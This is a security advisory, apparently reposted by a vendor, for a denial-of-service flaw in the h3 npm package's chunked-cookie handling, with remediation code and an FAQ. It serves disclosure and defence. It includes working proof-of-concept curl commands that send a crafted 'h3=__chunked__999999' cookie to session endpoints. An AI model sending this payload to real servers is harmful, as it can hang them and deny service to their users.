Summary
The setChunkedCookie() and deleteChunkedCookie() functions in h3 trust the chunk count parsed from a user-controlled cookie value (__chunked__N) without any upper bound validation. An unauthenticated attacker can send a single request with a crafted cookie header (e.g., Cookie: h3=__chunked__999999) to any endpoint using sessions, causing the server to enter an O(n²) loop that hangs the process.
Details
The chunked cookie system stores large cookie values by splitting them into numbered chunks. The main cookie stores a sentinel value __chunked__N indicating how many chunks exist. When setting a new chunked cookie, the code cleans up any previous chunks that are no longer needed.
The vulnerability is in getChunkedCookieCount() at src/utils/cookie.ts:244-249:
function getChunkedCookieCount(cookie: string | undefined): number {
if (!cookie?.startsWith(CHUNKED_COOKIE)) {
return Number.NaN;
}
return Number.parseInt(cookie.slice(CHUNKED_COOKIE.length));
// No upper bound check, attacker controls this value
}
This value is consumed without validation in the cleanup loop of setChunkedCookie() at src/utils/cookie.ts:182-190:
const previousCookie = getCookie(event, name); // reads from request headers
if (previousCookie?.startsWith(CHUNKED_COOKIE)) {
const previousChunkCount = getChunkedCookieCount(previousCookie);
if (previousChunkCount > chunkCount) {
for (let i = chunkCount; i <= previousChunkCount; i++) {
deleteCookie(event, chunkCookieName(name, i), options);
// Each deleteCookie → setCookie → scans ALL existing set-cookie headers
}
}
}
The same issue exists in deleteChunkedCookie() at src/utils/cookie.ts:227-232:
const chunksCount = getChunkedCookieCount(mainCookie);
if (chunksCount >= 0) {
for (let i = 0; i < chunksCount; i++) {
deleteCookie(event, chunkCookieName(name, i + 1), serializeOptions);
}
}
The exploit chain through sessions:
- Attacker sends
Cookie: h3=__chunked__999999to any session-using endpoint getSession()(src/utils/session.ts:83) callsgetChunkedCookie(event, "h3")(line 124)getChunkedCookie()returnsundefined, the early return at line 153 fires because no actual chunk cookies (e.g.,h3.1) exist in the request- Since
sealedSessionis undefined,session.idremains empty (line 140), triggeringupdateSession()(line 143) updateSession()callssetChunkedCookie()with the newly sealed session value (line 179)- Inside
setChunkedCookie(),getCookie(event, name)re-reads the original request cookie__chunked__999999at line 182 previousChunkCount= 999999,chunkCount= 1 (new sealed session is small)- The cleanup loop runs 999,998 iterations, each calling
deleteCookie()→setCookie() - Each
setCookie()call reads ALL existingset-cookieresponse headers viagetSetCookie()(line 91) and iterates through them for deduplication (lines 100-106) - This creates O(n²) complexity, approximately 10¹² operations for n=999999
Key observation: While getChunkedCookie() has an early-return optimization (line 153) that prevents it from looping on missing chunks, the cleanup loops in setChunkedCookie() and deleteChunkedCookie() have no such protection and run unconditionally for the full claimed chunk count.
PoC
Prerequisites: An h3 application with any endpoint using getSession() or useSession().
Example minimal server:
import { H3 } from "h3";
import { getSession } from "h3";
const app = new H3();
app.get("/dashboard", async (event) => {
const session = await getSession(event, {
password: "my-secret-password-at-least-32-chars-long!",
});
return { user: session.data.user || "anonymous" };
});
export default app;
Attack (single request, no authentication):
# This single request will hang the server process
curl -H 'Cookie: h3=__chunked__999999' http://localhost:3000/dashboard
For a less extreme but still impactful test:
# ~100K iterations, will take several seconds and block all other requests
curl -H 'Cookie: h3=__chunked__100000' http://localhost:3000/dashboard
The deleteChunkedCookie() path is exploitable via clearSession():
app.post("/logout", async (event) => {
await clearSession(event, {
password: "my-secret-password-at-least-32-chars-long!",
});
return { ok: true };
});
curl -X POST -H 'Cookie: h3=__chunked__999999' http://localhost:3000/logout
Impact
- Complete Denial of Service: A single unauthenticated request with a 27-byte cookie header can hang the server process indefinitely. Node.js is single-threaded, so this blocks all request handling.
- No authentication required: The attack only requires the ability to send HTTP requests with a crafted cookie header.
- Minimal attacker effort: The payload is trivially small (
Cookie: h3=__chunked__999999), making it easy to automate or repeat. - Wide attack surface: Any endpoint in the application that uses
getSession(),useSession(), orclearSession()is vulnerable. Session usage is extremely common in web applications. - Amplification: The ratio of attacker input (27 bytes) to server work (billions of operations) is extreme.
Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.
GHSA-Q5PR-72PQ-83V3 has a CVSS score of 5.3 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.0.1-rc.18); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Add a maximum chunk count constant and validate in getChunkedCookieCount():
const MAX_CHUNKED_COOKIE_COUNT = 100;
function getChunkedCookieCount(cookie: string | undefined): number {
if (!cookie?.startsWith(CHUNKED_COOKIE)) {
return Number.NaN;
}
const count = Number.parseInt(cookie.slice(CHUNKED_COOKIE.length));
if (Number.isNaN(count) || count < 0 || count > MAX_CHUNKED_COOKIE_COUNT) {
return Number.NaN;
}
return count;
}
This clamps the parsed count at a safe maximum. Since each chunk can hold ~4000 bytes and 100 chunks would allow ~400KB of cookie data (far beyond any practical limit), MAX_CHUNKED_COOKIE_COUNT = 100 is generous while eliminating the DoS vector.
Additionally, the callers should be updated to handle NaN safely. The cleanup loop in setChunkedCookie() already handles this correctly since NaN > chunkCount is false, so the loop won't execute. The deleteChunkedCookie() loop also handles it since NaN >= 0 is false.
Frequently Asked Questions
- What is GHSA-Q5PR-72PQ-83V3? GHSA-Q5PR-72PQ-83V3 is a medium-severity uncontrolled resource consumption vulnerability in h3 (npm), affecting versions >= 2.0.0-beta.4, < 2.0.1-rc.18. It is fixed in 2.0.1-rc.18. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
- How severe is GHSA-Q5PR-72PQ-83V3? GHSA-Q5PR-72PQ-83V3 has a CVSS score of 5.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of h3 are affected by GHSA-Q5PR-72PQ-83V3? h3 (npm) versions >= 2.0.0-beta.4, < 2.0.1-rc.18 is affected.
- Is there a fix for GHSA-Q5PR-72PQ-83V3? Yes. GHSA-Q5PR-72PQ-83V3 is fixed in 2.0.1-rc.18. Upgrade to this version or later.
- Is GHSA-Q5PR-72PQ-83V3 exploitable, and should I be worried? Whether GHSA-Q5PR-72PQ-83V3 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-Q5PR-72PQ-83V3 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-Q5PR-72PQ-83V3? Upgrade
h3to 2.0.1-rc.18 or later.